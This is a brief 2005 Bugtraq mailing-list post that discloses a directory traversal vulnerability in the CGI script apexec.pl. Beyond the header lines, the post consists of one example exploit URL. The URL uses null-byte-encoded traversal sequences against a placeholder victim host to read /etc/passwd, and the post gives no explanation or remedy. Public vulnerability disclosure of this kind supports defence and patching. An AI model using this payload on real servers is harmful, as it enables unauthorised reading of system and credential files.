[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Directoy Traversal Attack in apexec.pl (.%00./-Bug)
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Directoy Traversal Attack in apexec.pl (.%00./-Bug)
- From: <msdarkflyer@xxxxxxxxxxxxx>
- Date: 19 Apr 2005 12:57:48 -0000
Example:
www.victim.com/cgi-bin/apexec.pl?template=.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd%%0000.html
Greetz MSDarkflyer
--